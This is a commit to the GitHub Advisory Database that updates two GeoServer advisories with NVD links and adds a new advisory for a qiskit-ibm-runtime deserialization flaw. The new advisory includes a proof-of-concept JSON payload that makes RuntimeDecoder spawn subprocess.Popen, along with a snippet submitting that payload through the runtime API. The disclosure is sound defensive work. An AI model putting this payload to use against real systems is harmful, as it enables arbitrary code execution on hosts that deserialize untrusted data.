Publish Advisories

GHSA-8g7v-vjrc-x4g5
GHSA-9v5q-2gwq-q9hq
GHSA-x4x5-jv3x-9c7m

advisories/github-reviewed/2024/03/GHSA-8g7v-vjrc-x4g5/GHSA-8g7v-vjrc-x4g5.json

@@ -1,7 +1,7 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-8g7v-vjrc-x4g5",
-  "modified": "2024-03-20T14:45:21Z",
+  "modified": "2024-03-20T15:44:08Z",
   "published": "2024-03-20T14:45:21Z",
   "aliases": [
     "CVE-2023-41877"
@@ -40,6 +40,14 @@
       "type": "WEB",
       "url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-8g7v-vjrc-x4g5"
     },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41877"
+    },
+    {
+      "type": "WEB",
+      "url": "https://docs.geoserver.org/latest/en/user/configuration/globalsettings.html#log-location"
+    },
     {
       "type": "PACKAGE",
       "url": "https://github.com/geoserver/geoserver"
@@ -52,6 +60,6 @@
     "severity": "HIGH",
     "github_reviewed": true,
     "github_reviewed_at": "2024-03-20T14:45:21Z",
-    "nvd_published_at": null
+    "nvd_published_at": "2024-03-20T15:15:07Z"
   }
 }

advisories/github-reviewed/2024/03/GHSA-9v5q-2gwq-q9hq/GHSA-9v5q-2gwq-q9hq.json

@@ -1,7 +1,7 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-9v5q-2gwq-q9hq",
-  "modified": "2024-03-20T15:03:23Z",
+  "modified": "2024-03-20T15:43:58Z",
   "published": "2024-03-20T14:54:59Z",
   "aliases": [
     "CVE-2023-51444"
@@ -103,6 +103,10 @@
       "type": "WEB",
       "url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-9v5q-2gwq-q9hq"
     },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51444"
+    },
     {
       "type": "WEB",
       "url": "https://github.com/geoserver/geoserver/pull/7222"
@@ -132,6 +136,6 @@
     "severity": "HIGH",
     "github_reviewed": true,
     "github_reviewed_at": "2024-03-20T14:54:59Z",
-    "nvd_published_at": null
+    "nvd_published_at": "2024-03-20T15:15:07Z"
   }
 }

advisories/github-reviewed/2024/03/GHSA-x4x5-jv3x-9c7m/GHSA-x4x5-jv3x-9c7m.json

@@ -0,0 +1,66 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-x4x5-jv3x-9c7m",
+  "modified": "2024-03-20T15:44:22Z",
+  "published": "2024-03-20T15:44:22Z",
+  "aliases": [
+    "CVE-2024-29032"
+  ],
+  "summary": "`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code",
+  "details": "### Summary\n\ndeserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string\n\n### Details\n\n`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159\n\n### PoC\n\n```python\nmalicious_data = {\n    \"__type__\": \"settings\",\n    \"__module__\": \"subprocess\",\n    \"__class__\": \"Popen\",\n    \"__value__\": {\n        \"args\": [\"echo\", \"hi\"]\n    },\n}\njson_str = json.dumps(malicious_data)\n\n_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints \"hi\" to the terminal\n```\n(where obviously \"echo hi\" can be replaced with something much more malicious)\n\nnotably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)\n```python\nservice = qiskit_ibm_runtime(<ibm_cloud_credentials>)\njob = service.run(\"qasm3-runner\", malicious_data)\nprint(job.status())  # prints \"JobStatus.QUEUED\"\n```\n\n### Impact\n\ni don't know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "PyPI",
+        "name": "qiskit-ibm-runtime"
+      },
+      "ecosystem_specific": {
+        "affected_functions": [
+          "qiskit_ibm_runtime.RuntimeDecoder"
+        ]
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0.1.0"
+            },
+            {
+              "fixed": "0.21.2"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/Qiskit/qiskit-ibm-runtime/security/advisories/GHSA-x4x5-jv3x-9c7m"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/Qiskit/qiskit-ibm-runtime/commit/b78fca114133051805d00043a404b25a33835f4d"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/Qiskit/qiskit-ibm-runtime"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": true,
+    "github_reviewed_at": "2024-03-20T15:44:22Z",
+    "nvd_published_at": null
+  }
+}